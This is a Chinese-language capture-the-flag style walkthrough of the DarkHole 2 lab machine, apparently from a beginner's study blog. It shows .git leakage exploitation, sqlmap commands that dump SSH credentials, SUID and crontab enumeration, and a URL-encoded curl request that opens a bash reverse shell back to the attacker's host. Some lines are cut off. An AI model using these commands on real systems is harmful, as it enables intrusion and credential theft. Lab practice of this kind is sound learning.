该文章用来提高小白的基础,记录每次的靶场练习,学习靶场文章的知识点原理以及工具使用。
抓住知识点理解原理
靶场IP:192.168.1.185
扫描端口
扫描发现22、80端口,还存在.git泄露
访问.git目录
git泄露,上Githack脚本
githack是一个 .git 泄露利用测试脚本,通过泄露文件,还原重建工程源代码
查看config文件
$connect = new mysqli("localhost","root","","darkhole_2");
得到主机,账号,密码,数据库
查看login.php
?php
session_start();
require 'config/config.php';
if($_SERVER['REQUEST_METHOD'] == 'POST'){
$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
$check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
if($check->num_rows){
$_SESSION['userid'] = 1;
header("location:dashboard.php");
die();
}
}
?>
link rel="stylesheet" href="style/login.css">
head>
script src="https://kit.fontawesome.com/fe909495a1.js" crossorigin="anonymous">/script>
link rel="stylesheet" href="Project_1.css">
title>Home/title>
/head>
body>
div class="container">
h1>?? Welcome/h1>
!-- a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/Project_1.html">h1>Sign In/h1>/a> -->
!-- a href="file:///C:/Users/SAURABH%20SINGH/Desktop/HTML5/PROJECTS/Project%201/P2.html"> ?h1>Log In/h1>/a> -->
form action="" method="post">
div class="box">
i ?class="fas fa-envelope">/i>
input type="email" name="email" id="email" ?placeholder="Enter Your Email" required>
/div>
div class="box">
i ?class="fas fa-key">/i>
input type="password" name="password" id="password" placeholder="Enter Your Password" required>
/div>
button id="btn" name="button">Login/button>
/form>
/div>
mysqli_real_escape_string转移特殊字符
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
git信息获取
换种思路,用wget将.git拉下来,通过查看相关信息获得下一步攻击操作
wget -r http://192.168.1.185/.git
发现没重要信息,git上面会有历史信息
通过git log查看历史版本
查看两次不同的记录
git diff a4d900a8d85e8938d3601f3cef113ee293028e10
找到登录后台地址和账号密码
后台渗透
找到后台页面dashboard.php?id=1
尝试id=1',页面报错
在输入1' --+ 闭合语句,成功
尝试了union select的多种WAF,进行不下去了,掏出SQLMAP跑吧
常规的cookie注入
库
sqlmap -u "http://192.168.1.185/dashboard.php?id=1" --cookie PHPSESSID='svsk4vk4u593chhj9u3kgmkfmi' --current-db
表
sqlmap -u "http://192.168.1.185/dashboard.php?id=1" --cookie PHPSESSID='svsk4vk4u593chhj9u3kgmkfmi' -D "darkhole_2" --tables
列
sqlmap -u "http://192.168.1.185/dashboard.php?id=1" --cookie PHPSESSID='svsk4vk4u593chhj9u3kgmkfmi' -D "darkhole_2" -T 'users' --columns
sqlmap -u "http://192.168.1.185/dashboard.php?id=1" --cookie PHPSESSID='svsk4vk4u593chhj9u3kgmkfmi' -D "darkhole_2" -T 'ssh' --columns
数据
sqlmap -u "http://192.168.1.185/dashboard.php?id=1" --cookie PHPSESSID='svsk4vk4u593chhj9u3kgmkfmi' -D "darkhole_2" -T 'ssh' --dump
得到ssh账号密码
SSH登录
ssh jehad@192.168.1.185
查看SUID权限
find / -perm -4000 2>/dev/null
查看用户密码
20.04版本不存在脏牛提权,16倒是有
尝试passwd提权,不行,普通用户没有写权限
crontab提权
/etc/crontab文件详解
Minute ?hour ?day ?month ??dayofweek ??command
Minute :分钟,0-59之间的任何整数。
Hour:小时, 0-23之间的任何整数。
Day: 日期,从1到31之间的任意整数(如指定了月份,必须是该月份的有效日期)
Month:月份,1到12之间的任意整数(或者使用月份的英文简写,如:jan。feb)
Dayofweek 星期,0到7之间的人任意整数,这里的0或7代表星期日
25 6 ???* * * ??root ???test -x /usr/sbin/anacron || ( cd / &1'"
curl执行,进行url编码,使用bp的url编码
curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%65%78%65%63%20%62%61%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%
提权成功后,通过sudo -l,密码gang,使用python3执行root shell
渗透思路
1.目录泄露.git文件
2.通过了解git历史记录发现后台账号密码
3.参数ID在SQL注入漏洞,拿到SSH账号密码
4.通过端口转发,且在/opt/web里发现cmd,可以利用CMD反弹shell
5.SUDO -l发现密码,拿python3执行root shell即可
参考
很赞哦! (119)